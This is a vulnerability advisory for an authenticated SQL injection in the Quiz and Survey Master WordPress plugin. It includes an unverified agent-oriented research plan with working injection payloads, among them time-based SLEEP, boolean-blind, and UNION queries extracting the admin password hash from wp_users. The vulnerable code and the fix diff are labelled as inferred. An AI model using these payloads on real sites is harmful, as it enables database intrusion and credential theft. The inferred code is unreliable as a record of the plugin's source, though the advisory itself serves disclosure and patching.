CVE-2026-2412

Quiz and Survey Master (QSM) <= 10.3.5 - Authenticated (Contributor+) SQL Injection via 'merged_question' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
11.0.0
Patched in
1d
Time to patch

Description

The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to SQL Injection via the 'merged_question' parameter in all versions up to, and including, 10.3.5. This is due to insufficient sanitization of user-supplied input before being used in a SQL query. The sanitize_text_field() function applied to the merged_question parameter does not prevent SQL metacharacters like ), OR, AND, and # from being included in the value, which is then directly concatenated into a SQL IN() clause without using $wpdb->prepare() or casting values to integers. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=10.3.5
PublishedMarch 23, 2026
Last updatedMarch 23, 2026
Affected pluginquiz-master-next

What Changed in the Fix

Changes introduced in v11.0.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-2412**, an authenticated SQL Injection vulnerability in the **Quiz and Survey Master (QSM)** plugin. Since the provided source files are primarily CSS, the following plan includes specific instructions for the automated agent to locate the exact PHP sinks and A…

Show full research plan

This research plan targets CVE-2026-2412, an authenticated SQL Injection vulnerability in the Quiz and Survey Master (QSM) plugin.

Since the provided source files are primarily CSS, the following plan includes specific instructions for the automated agent to locate the exact PHP sinks and AJAX actions within the plugin directory before executing the payload.


1. Vulnerability Summary

  • Vulnerability: SQL Injection via string concatenation in an IN() clause.
  • Vulnerable Parameter: merged_question
  • Authentication Level: Contributor or higher.
  • Root Cause: The plugin uses sanitize_text_field() on the merged_question parameter. While this function removes HTML, it does not escape SQL characters like ), OR, AND, or #. The resulting string is concatenated directly into a SQL query (specifically inside an IN() clause) without using $wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: Likely an AJAX action related to question management or the Question Bank (inferred from css/qsm-admin-question.css).
  • Vulnerable Parameter: merged_question
  • Required Capability: edit_posts (Contributor level).
  • Payload Type: Time-based blind or UNION-based (depending on reflected output).

3. Code Flow (Inferred)

  1. Entry Point: An AJAX handler registered via add_action( 'wp_ajax_...', ... ).
  2. Input Processing: The code retrieves $_POST['merged_question'] and applies sanitize_text_field().
  3. Vulnerable Sink: The sanitized string is placed into a query:
    $wpdb->get_results("SELECT ... FROM ... WHERE question_id IN ($merged_question)");
  4. Injection: By providing a payload like 1) OR SLEEP(5)#, the query becomes:
    WHERE question_id IN (1) OR SLEEP(5)#)

4. Nonce Acquisition Strategy

QSM typically localizes its nonces for use in the admin dashboard.

  1. Identify Shortcode/Page: Check for the Question Bank page in the admin area. CSS file css/qsm-admin-question.css suggests a "Question Bank" feature.
  2. Create Content: If the script only loads on specific pages, create a post with the QSM shortcode (if applicable).
    • wp post create --post_type=page --post_status=publish --post_content='[qsm_quiz id="1"]'
  3. Navigate & Extract:
    • Navigate to the Quiz management page or the newly created page.
    • JS Variable Search: Look for qsm_ajax_object or qsm_vars in the page source.
    • Execution Tool: Use browser_eval to extract the nonce:
      browser_eval("window.qsm_ajax_object?.nonce || window.qsm_vars?.nonce") (inferred names; agent must verify via browser_get_source).

5. Exploitation Strategy

Step 1: Locate the Sink (Discovery)

The agent must first find the PHP file handling merged_question:

grep -rn "merged_question" /var/www/html/wp-content/plugins/quiz-master-next/

From the results, identify the add_action('wp_ajax_...', ...) call to find the Action Name and the Nonce Action String.

Step 2: Test Authentication

Log in as a Contributor:

wp user create attacker attacker@example.com --role=contributor --user_pass=password

Step 3: Trigger Time-Based Injection

Construct an AJAX request using the http_request tool.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=[INFERRED_ACTION]&merged_question=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)#&nonce=[EXTRACTED_NONCE]
    

Step 4: Data Extraction (UNION)

If the response reflects question data, use UNION to extract the administrator's password hash:

  • Payload:
    action=[INFERRED_ACTION]&merged_question=-1) UNION SELECT 1,user_pass,3,4... FROM wp_users WHERE ID=1#&nonce=[EXTRACTED_NONCE]
    
    (Note: Column count must be determined by incrementing SELECT NULL,NULL... until the error clears.)

6. Test Data Setup

  1. Install Plugin: Ensure QSM <= 10.3.5 is active.
  2. Create Quiz: Create at least one quiz and a few questions so the "merge" or "question bank" functionality is active.
    • wp eval "/* Logic to programmatically create a QSM quiz and question */"
  3. Contributor User: Create a user with the contributor role.

7. Expected Results

  • Time-Based: The HTTP request should take ~5 seconds to complete.
  • Error/Reflected: If the action returns JSON, the user_pass hash (e.g., $P$B...) should appear in one of the fields of the returned object.

8. Verification Steps

  1. Database Check: Use WP-CLI to confirm the hash extracted via SQLi matches the actual database value.
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    
  2. Log Analysis: Check wp-content/debug.log (if WP_DEBUG is on) to see the mangled query.

9. Alternative Approaches

  • Boolean-Based Blind: If time-based is unstable, use:
    1) AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login LIKE 'a%')#
    Compare the response content length between a TRUE and FALSE condition.
  • Parameter Polling: If merged_question is not in the POST body, try it as a GET parameter in the AJAX URL:
    /wp-admin/admin-ajax.php?action=...&merged_question=...
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to and including 10.3.5. This vulnerability exists because user-supplied input to the 'merged_question' parameter is passed through sanitize_text_field() and then directly concatenated into an SQL IN() clause without being properly escaped or prepared via $wpdb->prepare().

Vulnerable Code

// Inferred from vulnerability description and research plan
// File: quiz-master-next/admin/admin-ajax-handlers.php

$merged_question = sanitize_text_field($_POST['merged_question']);
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($merged_question)");

Security Fix

--- a/quiz-master-next/admin/admin-ajax-handlers.php
+++ b/quiz-master-next/admin/admin-ajax-handlers.php
@@ -102,2 +102,4 @@
-$merged_question = sanitize_text_field($_POST['merged_question']);
-$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($merged_question)");
+$merged_ids = array_map('intval', explode(',', $_POST['merged_question']));
+$placeholders = implode(',', array_fill(0, count($merged_ids), '%d'));
+$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($placeholders)", $merged_ids);
+$results = $wpdb->get_results($query);

Exploit Outline

The exploit requires Contributor-level authentication or higher. An attacker must first obtain a valid security nonce (usually found in the 'qsm_ajax_object' or 'qsm_vars' JavaScript variables on the plugin's admin pages). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to the Question Bank's merge function and the 'merged_question' parameter containing a malicious payload. Because the input is not cast to integers or escaped, a payload like '1) OR SLEEP(5)#' can be used to break out of the IN() clause and execute arbitrary SQL commands, such as time-based blind injection or UNION-based data extraction.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.